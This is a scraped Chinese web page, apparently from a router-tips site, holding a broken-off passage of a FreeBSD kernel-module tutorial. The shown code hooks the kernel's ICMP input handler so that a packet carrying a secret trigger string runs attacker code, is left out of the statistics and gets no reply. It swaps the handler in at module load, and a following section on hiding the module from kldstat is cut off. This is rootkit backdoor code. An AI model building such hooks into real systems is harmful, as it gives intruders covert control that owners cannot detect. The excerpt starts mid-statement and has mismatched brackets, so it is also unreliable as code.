争怎路由网:是一个主要分享无线路由器安装设置经验的网站,汇总WiFi常见问题的解决方法。

玩转freebsd内核模块

时间:2024/5/2作者:未知来源:争怎路由网人气:

M_BCAST)) != 0) {
            icmpstat.icps_bmcastecho++;
            break;
        }

    /* check if the packet contains the specified trigger */

    if(!strcmp(icp->icmp_data,ICMP_TRIGGER)) {   //通过判定icmp数据是否包含特定的标志

        mod_debug("ICMP triggern");

        /* decrease receive stats */
        icmpstat.icps_inhist[icp->icmp_type]--;

        trigger_test(icp->icmp_data);

        /* don't send a reply */
        goto freeit;
    }

    [...]

//// when the module is loaded:
    extern struct ipprotosw inetsw[];
    extern u_char ip_protox[];
    void *old_icmp_input;

    static int
    load(struct module *module, int cmd, void *arg)
    {
        switch(cmd) {
            case MOD_LOAD:
                mod_debug("Replacing ICMP Inputn");
                old_icmp_input = inetsw[ip_protox[IPPROTO_ICMP].pr_input;
                inetsw[ip_protox[IPPROTO_ICMP].pr_input = new_icmp_input;
                break;

            case MOD_UNLOAD:
                mod_debug("Restoring icmp_inputn");
                inetsw[ip_protox[IPPROTO_ICMP].pr_input = old_icmp_input;
                break;

            default:
                error = EINVAL;
                break;
        }
        return(error);
    }
CY中只是一个测试的函数,没有多大用,你可以作为例子来修改数据报中的内容然后放回到数据报的处理队列。
3.6. 隐藏模块
重要的,我们当然要隐藏模块自身了( kldstat

关键词:玩转freebsd内核模块




Copyright © 2012-2018 争怎路由网(http://www.zhengzen.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版